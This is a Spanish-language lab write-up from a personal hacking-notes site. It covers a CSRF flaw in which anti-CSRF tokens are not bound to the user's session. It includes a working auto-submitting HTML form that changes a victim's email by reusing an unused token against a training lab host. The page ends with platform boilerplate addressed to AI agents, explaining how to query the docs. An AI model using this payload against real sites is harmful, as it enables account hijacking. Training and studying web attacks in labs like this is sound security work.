> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/csrf/csrf-token-not-tied-to-session.md).

# CSRF con token no vinculado a la sesión

### CSRF donde el token no está vinculado a la sesión del usuario

#### Objetivo del laboratorio

Cambia la dirección de correo electrónico de la víctima mediante un ataque CSRF. La aplicación usa tokens CSRF, pero no están **vinculados a la sesión del usuario**.

#### Observaciones

Cada token CSRF es **válido solo una vez**.

<figure><img src="/files/b32635826f58cd67eb3976056f7781a8c1f119d6" alt=""><figcaption></figcaption></figure>

* Los tokens **no están asociados a la sesión**: un token obtenido con el usuario A puede usarse para atacar a B.

<figure><img src="/files/97ec54f6980830dbdc9a10719a472b92dca13720" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fe1f5f5ac61684798a0f75fb608a4e030c1da61c" alt=""><figcaption></figcaption></figure>

#### Estrategia operativa

1. **Obtener un nuevo token CSRF** sin usarlo (interceptar una nueva solicitud para obtener un token que siga siendo válido).
2. **Alojar un formulario malicioso** en el servidor de explotación que envía una solicitud POST para cambiar la dirección de correo electrónico reutilizando **este token**.
3. Cuando la víctima visite la página trampa, el formulario se enviará automáticamente y **modificará su dirección de correo electrónico**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/csrf/csrf-token-not-tied-to-session.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
